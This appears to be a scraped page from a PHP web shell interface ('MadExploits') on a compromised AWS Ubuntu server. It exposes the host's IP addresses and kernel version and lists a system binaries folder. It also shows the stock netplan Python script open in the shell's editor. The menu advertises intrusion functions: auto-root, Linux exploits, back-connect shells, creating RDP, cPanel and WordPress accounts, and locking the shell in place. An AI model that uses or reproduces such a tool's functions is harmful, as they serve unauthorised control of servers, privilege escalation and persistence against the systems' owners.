Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.135.201.190
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
core /
17200 /
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
aa-exec
22.16
KB
-rwxr-xr-x
aa-remove-unknown
2.86
KB
-rwxr-xr-x
aa-status
7.11
KB
-rwxr-xr-x
add-shell
695
B
-rwxr-xr-x
addgroup
36.4
KB
-rwxr-xr-x
adduser
36.4
KB
-rwxr-xr-x
apparmor_status
7.11
KB
-rwxr-xr-x
arp
54.09
KB
-rwxr-xr-x
arpd
46.74
KB
-rwxr-xr-x
chat
26.01
KB
-rwxr-xr-x
chgpasswd
53.33
KB
-rwxr-xr-x
chpasswd
49.43
KB
-rwxr-xr-x
chroot
38.8
KB
-rwxr-xr-x
cpgr
51.48
KB
-rwxr-xr-x
cppw
51.48
KB
-rwxr-xr-x
cron
43.43
KB
-rwxr-xr-x
delgroup
16.13
KB
-rwxr-xr-x
deluser
16.13
KB
-rwxr-xr-x
dnsmasq
379.6
KB
-rwxr-xr-x
dpkg-preconfigure
3.52
KB
-rwxr-xr-x
dpkg-reconfigure
4.23
KB
-rwxr-xr-x
e2freefrag
10.24
KB
-rwxr-xr-x
e4defrag
26.53
KB
-rwxr-xr-x
faillock
14.4
KB
-rwxr-xr-x
fanatic
35.21
KB
-rwxr-xr-x
fanctl
41.97
KB
-rwxr-xr-x
fdformat
22.57
KB
-rwxr-xr-x
filefrag
14.31
KB
-rwxr-xr-x
genl
46.69
KB
-rwxr-xr-x
groupadd
57.42
KB
-rwxr-xr-x
groupdel
65.83
KB
-rwxr-xr-x
groupmod
67.7
KB
-rwxr-xr-x
grpck
53.31
KB
-rwxr-xr-x
grpconv
49.19
KB
-rwxr-xr-x
grpunconv
49.2
KB
-rwxr-xr-x
iconvconfig
26.66
KB
-rwxr-xr-x
invoke-rc.d
19.41
KB
-rwxr-xr-x
ip6tables-apply
6.85
KB
-rwxr-xr-x
iptables-apply
6.85
KB
-rwxr-xr-x
ldattach
26.63
KB
-rwxr-xr-x
logrotate
63.11
KB
-rwxr-xr-x
mkinitramfs
10.24
KB
-rwxr-xr-x
mklost+found
10.25
KB
-rwxr-xr-x
netplan
17.94
KB
-rwxr-xr-x
newusers
73.84
KB
-rwxr-xr-x
nfnl_osf
14.37
KB
-rwxr-xr-x
nologin
5.95
KB
-rwxr-xr-x
pam-auth-update
19.09
KB
-rwxr-xr-x
pam_getenv
2.82
KB
-rwxr-xr-x
pam_timestamp_check
10.38
KB
-rwxr-xr-x
pppd
385.73
KB
-rwsr-xr--
pppdump
18.1
KB
-rwxr-xr-x
pppoe-discovery
18
KB
-rwxr-xr-x
pppstats
13.99
KB
-rwxr-xr-x
pwck
45.36
KB
-rwxr-xr-x
pwconv
41.27
KB
-rwxr-xr-x
pwunconv
36.43
KB
-rwxr-xr-x
readprofile
14.52
KB
-rwxr-xr-x
remove-shell
749
B
-rwxr-xr-x
rfkill
10.29
KB
-rwxr-xr-x
rmt
54.95
KB
-rwxr-xr-x
rmt-tar
54.95
KB
-rwxr-xr-x
rsyslogd
585.28
KB
-rwxr-xr-x
rtcwake
38.8
KB
-rwxr-xr-x
service
9.82
KB
-rwxr-xr-x
setvesablank
10.27
KB
-rwxr-xr-x
sshd
772.48
KB
-rwxr-xr-x
tarcat
936
B
-rwxr-xr-x
tunelp
22.53
KB
-rwxr-xr-x
tzconfig
106
B
-rwxr-xr-x
update-alternatives
46.61
KB
-rwxr-xr-x
update-ca-certificates
5.25
KB
-rwxr-xr-x
update-initramfs
8.38
KB
-rwxr-xr-x
update-mime
8.84
KB
-rwxr-xr-x
update-passwd
30.41
KB
-rwxr-xr-x
update-rc.d
14.1
KB
-rwxr-xr-x
useradd
118.72
KB
-rwxr-xr-x
userdel
81.92
KB
-rwxr-xr-x
usermod
118.5
KB
-rwxr-xr-x
vcstime
6.26
KB
-rwxr-xr-x
vigr
55.7
KB
-rwxr-xr-x
vipw
55.7
KB
-rwxr-xr-x
visudo
187.89
KB
-rwxr-xr-x
zic
50.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : netplan
#!/usr/bin/python3 # # Copyright (C) 2016 Canonical, Ltd. # Author: Martin Pitt <martin.pitt@ubuntu.com> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; version 3. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. '''netplan command line''' import argparse import logging import os import sys import re import shutil import subprocess from glob import glob import yaml path_generate = os.environ.get('NETPLAN_GENERATE_PATH', '/lib/netplan/generate') NM_SERVICE_NAME = 'NetworkManager.service' NM_SNAP_SERVICE_NAME = 'snap.network-manager.networkmanager.service' # # helper functions # def parse_args(): parser = argparse.ArgumentParser(description='netplan commands') parser.add_argument('--debug', action='store_true', help='Enable debug messages') subparsers = parser.add_subparsers(title='Available commands (see "netplan <command> --help")', metavar='', dest='command') # command: generate p_generate = subparsers.add_parser('generate', help='Generate backend specific configuration files from /etc/netplan/*.yaml.') p_generate.add_argument('--root-dir', help='Search for and generate configuration files in this root directory instead of /') # command: apply p_generate = subparsers.add_parser('apply', help='Apply current netplan config to running system (use with care!)') # command: ifupdown-migrate p_ifupdown = subparsers.add_parser('ifupdown-migrate', help='Try to convert /etc/network/interfaces to netplan. ' 'If successful, disable /etc/network/interfaces.') p_ifupdown.add_argument('--root-dir', help='Search for and generate configuration files in this root directory instead of /') p_ifupdown.add_argument('--dry-run', action='store_true', help='Print converted netplan configuration to stdout instead of writing/changing files') args = parser.parse_args() if not args.command: parser.error('You need to specify a command') return args def is_nm_snap_enabled(): # pragma: nocover (covered in autopkgtest) return subprocess.call(['systemctl', '--quiet', 'is-enabled', NM_SNAP_SERVICE_NAME], stderr=subprocess.DEVNULL) == 0 def nmcli(args): # pragma: nocover (covered in autopkgtest) binary_name = 'nmcli' if is_nm_snap_enabled(): binary_name = 'network-manager.nmcli' subprocess.check_call([binary_name] + args, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) def nm_running(): # pragma: nocover (covered in autopkgtest) '''Check if NetworkManager is running''' try: nmcli(['general']) return True except (OSError, subprocess.SubprocessError): return False def systemctl_network_manager(action): # pragma: nocover (covered in autopkgtest) service_name = NM_SERVICE_NAME # If the network-manager snap is installed use its service # name rather than the one of the deb packaged NetworkManager if is_nm_snap_enabled(): service_name = NM_SNAP_SERVICE_NAME subprocess.check_call(['systemctl', action, '--no-block', service_name]) def replug(device): # pragma: nocover (covered in autopkgtest) '''Unbind and rebind device if it is down''' devdir = os.path.join('/sys/class/net', device) try: with open(os.path.join(devdir, 'operstate')) as f: state = f.read().strip() if state != 'down': logging.debug('device %s operstate is %s, not replugging', device, state) return False except IOError as e: logging.error('Cannot determine operstate of %s: %s', device, str(e)) return False # /sys/class/net/ens3/device -> ../../../virtio0 # /sys/class/net/ens3/device/driver -> ../../../../bus/virtio/drivers/virtio_net try: devname = os.path.basename(os.readlink(os.path.join(devdir, 'device'))) except IOError as e: logging.debug('Cannot replug %s: cannot read link %s/device: %s', device, devdir, str(e)) return False try: # we must resolve symlinks here as the device dir will be gone after unbind subsystem = os.path.realpath(os.path.join(devdir, 'device', 'subsystem')) subsystem_name = os.path.basename(subsystem) driver = os.path.realpath(os.path.join(devdir, 'device', 'driver')) driver_name = os.path.basename(driver) if driver_name == 'mac80211_hwsim': logging.debug('replug %s: mac80211_hwsim does not support rebinding, ignoring', device) return False # workaround for https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1630285 if driver_name == 'mwifiex_pcie': logging.debug('replug %s: mwifiex_pcie crashes on rebinding, ignoring', device) return False # workaround for https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1729573 if subsystem_name == 'xen' and driver_name == 'vif': logging.debug('replug %s: xen:vif fails on rebinding, ignoring', device) return False # workaround for problem with ath9k_htc module: this driver is async and does not support # sequential unbind / rebind, one soon after the other if driver_name == 'ath9k_htc': logging.debug('replug %s: ath9k_htc does not support rebinding, ignoring', device) return False # workaround for brcmfmac, interface will be gone after unbind if 'brcmfmac' in driver_name: logging.debug('replug %s: brcmfmac drivers do not support rebinding, ignoring', device) return False # workaround for ath6kl_sdio, interface does not work after unbinding if 'ath6kl_sdio' in driver_name: logging.debug('replug %s: ath6kl_sdio driver does not support rebinding, ignoring', device) return False # workaround for qeth: driver does not recognize unbind command # https://bugs.launchpad.net/ubuntu/+source/netplan.io/+bug/1756322 if driver_name == 'qeth': logging.debug('replug %s: qeth driver do not support rebinding, ignoring (LP: #1756322)', device) return False logging.debug('replug %s: unbinding %s from %s', device, devname, driver) with open(os.path.join(driver, 'unbind'), 'w') as f: f.write(devname) logging.debug('replug %s: rebinding %s to %s', device, devname, driver) with open(os.path.join(driver, 'bind'), 'w') as f: f.write(devname) except IOError as e: logging.error('Cannot replug %s: %s', device, str(e)) return False return True def _ifupdown_lines_from_file(rootdir, path): '''Return normalized lines from ifupdown config This resolves "source" and "source-directory" includes. ''' def expand_source_arg(rootdir, curdir, line): arg = line.split()[1] if arg.startswith('/'): return rootdir + arg else: return curdir + '/' + arg lines = [] rootdir_len = len(rootdir) + 1 try: with open(rootdir + '/' + path) as f: logging.debug('reading %s', f.name) for line in f: # normalize, strip empty lines and comments line = line.strip() if not line or line.startswith('#'): continue if line.startswith('source-directory '): valid_re = re.compile('^[a-zA-Z0-9_-]+$') d = expand_source_arg(rootdir, os.path.dirname(f.name), line) for f in os.listdir(d): if valid_re.match(f): lines += _ifupdown_lines_from_file(rootdir, os.path.join(d[rootdir_len:], f)) elif line.startswith('source '): for f in glob(expand_source_arg(rootdir, os.path.dirname(f.name), line)): lines += _ifupdown_lines_from_file(rootdir, f[rootdir_len:]) else: lines.append(line) except FileNotFoundError: logging.debug('%s/%s does not exist, ignoring', rootdir, path) return lines def parse_ifupdown(rootdir='/'): '''Parse ifupdown configuration. Return (iface_name → family → {method, options}, auto_ifaces: set) tuple on successful parsing, or a ValueError when encountering an invalid file or ifupdown features which are not supported (such as "mapping"). options is itself a dictionary option_name → value. ''' # expected number of fields for every possible keyword, excluding the keyword itself fieldlen = {'auto': 1, 'allow-auto': 1, 'allow-hotplug': 1, 'mapping': 1, 'no-scripts': 1, 'iface': 3} # read and normalize all lines from config, with resolving includes lines = _ifupdown_lines_from_file(rootdir, '/etc/network/interfaces') ifaces = {} auto = set() in_options = None # interface name if parsing options lines after iface stanza in_family = None # we now have resolved all includes and normalized lines for line in lines: fields = line.split() try: # does the line start with a known stanza field? exp_len = fieldlen[fields[0]] logging.debug('line fields %s (expected length: %i)', fields, exp_len) in_options = None # stop option line parsing of iface stanza in_family = None except KeyError: # no known stanza field, are we in an iface stanza and parsing options? if in_options: logging.debug('in_options %s, parsing as option: %s', in_options, line) ifaces[in_options][in_family]['options'][fields[0]] = line.split(maxsplit=1)[1] continue else: raise ValueError('Unknown stanza type %s' % fields[0]) # do we have the expected #parameters? if len(fields) != exp_len + 1: raise ValueError('Expected %i fields for stanza type %s but got %i' % (exp_len, fields[0], len(fields) - 1)) # we have a valid stanza line now, handle them if fields[0] in ('auto', 'allow-auto', 'allow-hotplug'): auto.add(fields[1]) elif fields[0] == 'mapping': raise ValueError('mapping stanza is not supported') elif fields[0] == 'no-scripts': pass # ignore these elif fields[0] == 'iface': if fields[2] not in ('inet', 'inet6'): raise ValueError('Unknown address family %s' % fields[2]) if fields[3] not in ('loopback', 'static', 'dhcp'): raise ValueError('Unsupported method %s' % fields[3]) in_options = fields[1] in_family = fields[2] ifaces.setdefault(fields[1], {})[in_family] = {'method': fields[3], 'options': {}} else: raise NotImplementedError('stanza type %s is not implemented' % fields[0]) # pragma nocover logging.debug('final parsed interfaces: %s; auto ifaces: %s', ifaces, auto) return (ifaces, auto) # # implementation of the top-level commands # def command_generate(): argv = [path_generate] if args.root_dir: argv += ['--root-dir', args.root_dir] logging.debug('command generate: running %s', argv) # FIXME: os.execv(argv[0], argv) would be better but fails coverage sys.exit(subprocess.call(argv)) def command_apply(): # pragma: nocover (covered in autopkgtest) # if we are inside a snap, then call dbus to run netplan apply instead if "SNAP" in os.environ: # TODO: maybe check if we are inside a classic snap and don't do # this if we are in a classic snap? busctl = shutil.which("busctl") if busctl is None: raise RuntimeError("missing busctl utility") res = subprocess.call([busctl, "call", "--quiet", "--system", "io.netplan.Netplan", # the service "/io/netplan/Netplan", # the object "io.netplan.Netplan", # the interface "Apply", # the method ]) if res != 0: if res == 130: raise PermissionError( "failed to communicate with dbus service") elif res == 1: raise RuntimeError( "failed to communicate with dbus service") sys.exit(res) else: return if subprocess.call([path_generate]) != 0: sys.exit(1) devices = os.listdir('/sys/class/net') restart_networkd = bool(glob('/run/systemd/network/*netplan-*')) restart_nm = bool(glob('/run/NetworkManager/system-connections/netplan-*')) # stop backends if restart_networkd: logging.debug('netplan generated networkd configuration exists, restarting networkd') subprocess.check_call(['systemctl', 'stop', '--no-block', 'systemd-networkd.service', 'netplan-wpa@*.service']) else: logging.debug('no netplan generated networkd configuration exists') if restart_nm: logging.debug('netplan generated NM configuration exists, restarting NM') if nm_running(): # restarting NM does not cause new config to be applied, need to shut down devices first for device in devices: # ignore failures here -- some/many devices might not be managed by NM try: nmcli(['device', 'disconnect', device]) except subprocess.CalledProcessError: pass systemctl_network_manager('stop') else: logging.debug('no netplan generated NM configuration exists') # force-hotplug all "down" network interfaces to apply renames any_replug = False for device in devices: if not os.path.islink('/sys/class/net/' + device): continue if replug(device): any_replug = True else: # if the interface is up, we can still apply .link file changes logging.debug('netplan triggering .link rules for %s', device) with open(os.devnull, 'w') as fd: subprocess.check_call(['udevadm', 'test-builtin', 'net_setup_link', '/sys/class/net/' + device], stdout=fd, stderr=fd) if any_replug: subprocess.check_call(['udevadm', 'settle']) # (re)start backends if restart_networkd: subprocess.check_call(['systemctl', 'start', '--no-block', 'systemd-networkd.service'] + [os.path.basename(f) for f in glob('/run/systemd/system/*.wants/netplan-wpa@*.service')]) if restart_nm: systemctl_network_manager('start') def command_ifupdown_migrate(): netplan_config = {} try: ifaces, auto_ifaces = parse_ifupdown(args.root_dir or '') except ValueError as e: logging.error(str(e)) sys.exit(2) for iface, family_config in ifaces.items(): for family, config in family_config.items(): logging.debug('Converting %s family %s %s', iface, family, config) if iface not in auto_ifaces: logging.error('%s: non-automatic interfaces are not supported', iface) sys.exit(2) if config['method'] == 'loopback': # both systemd and modern ifupdown set up lo automatically logging.debug('Ignoring loopback interface %s', iface) elif config['method'] == 'dhcp': if config['options']: logging.error('%s: options are not supported for dhcp method', iface) sys.exit(2) c = netplan_config.setdefault('network', {}).setdefault('ethernets', {}).setdefault(iface, {}) if family == 'inet': c['dhcp4'] = True else: assert family == 'inet6' c['dhcp6'] = True else: logging.error('%s: method %s is not supported', iface, config['method']) sys.exit(2) if_config = os.path.join(args.root_dir or '/', 'etc/network/interfaces') if netplan_config: netplan_config['network']['version'] = 2 netplan_yaml = yaml.dump(netplan_config) if args.dry_run: print(netplan_yaml) else: dest = os.path.join(args.root_dir or '/', 'etc/netplan/10-ifupdown.yaml') try: os.makedirs(os.path.dirname(dest)) except FileExistsError: pass try: with open(dest, 'x') as f: f.write(netplan_yaml) except FileExistsError: logging.error('%s already exists; remove it if you want to run the migration again', dest) sys.exit(3) logging.info('migration complete, wrote %s', dest) else: logging.info('ifupdown does not configure any interfaces, nothing to migrate') if not args.dry_run: logging.info('renaming %s to %s.netplan-converted', if_config, if_config) os.rename(if_config, if_config + '.netplan-converted') # # main # args = parse_args() if args.debug: logging.basicConfig(level=logging.DEBUG, format='%(levelname)s:%(message)s') os.environ['G_MESSAGES_DEBUG'] = 'all' else: logging.basicConfig(level=logging.INFO, format='%(message)s') eval('command_' + args.command.replace('-', '_'))()
Close